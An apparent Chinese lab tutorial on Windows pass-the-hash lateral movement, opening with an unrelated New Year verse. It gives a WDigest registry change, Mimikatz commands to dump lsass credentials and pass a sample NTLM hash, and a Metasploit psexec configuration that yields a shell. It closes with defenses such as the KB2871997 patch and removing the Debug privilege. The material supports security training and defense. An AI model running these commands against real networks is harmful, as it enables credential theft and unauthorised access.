笙歌间错华筵启。喜新春新岁。菜传纤手青丝细。和气入、东风里。

幡儿胜儿都姑媂。戴得更忔戏。愿新春以后,吉吉利利,百事都如意。

0x01 哈希传递攻击概念

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)。攻击者获得有效的用户名和用户密码哈希值后,他们便能够使用该信息通过LM或NTLM身份验证向远程服务器或服务进行身份验证,而无需进行暴力破解散列以获取明文密码(此技术发布之前需要此密码)。该攻击利用了身份验证协议中的一种实现缺陷,即每次会话之间的密码散列保持静态,直到下次更改密码为止。

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

但是,这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。如果攻击者拥有用户密码的哈希值,则无需强行使用明文密码;他们可以简单地使用他们已经收获的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成它们的原始密码。

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

0x02 利用方法

环境搭配

域搭建可以参考Windows组策略提权实验

将一台win7添加到域控(win8)中

image-20210214145116625

登录一下域账户,之后退出域账户,然后切换为本地账户

image-20210214145726732

切换本地账户

image-20210214145957319

Mimikatz 交互式获取

读取lsass进程的信息,获取hash

1
2
privilege::debug
sekurlsa::logonPasswords

image-20210214152209729

获取终端

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4075bdc2e63781b034a034102356063a

image-20210214152128620

会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户,可以直接访问smb服务,我们可以通过copy文件,然后执行计划任务去拿到shell(使用atexec攻击)。

image-20210214152835360

Metasploit

需要使用exploit/windows/smb/psexec

注意这里填入的哈希是LM Hash:NTLM Hash, 当系统默认不支持LM hash,LM hash可以设定为任意值。

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set RHOST 172.16.27.10
set smbuser administrator
set SMBPass 00000000000000000000000000000000:4075bdc2e63781b034a034102356063a
run

image-20210214154108503

当然还有一些其它利用方法,比如:Cobalt Strike 抓取、powershell读取、 SAM表离线获取hash、wmiexec利用hash获取shell等等

0x03 防范措施

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。

但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递。

KB2871997补丁并不能真正防止哈希传递,只是在一定程度上缓解了PTH的问题。

浅探内网横向移动-Pass The Hash https://xz.aliyun.com/t/8117#toc-11

KB22871997是否真的能防御PTH攻击?https://www.anquanke.com/post/id/193150

防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。
image-20210214155950651

所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步”privilege::debug”时就会报错了。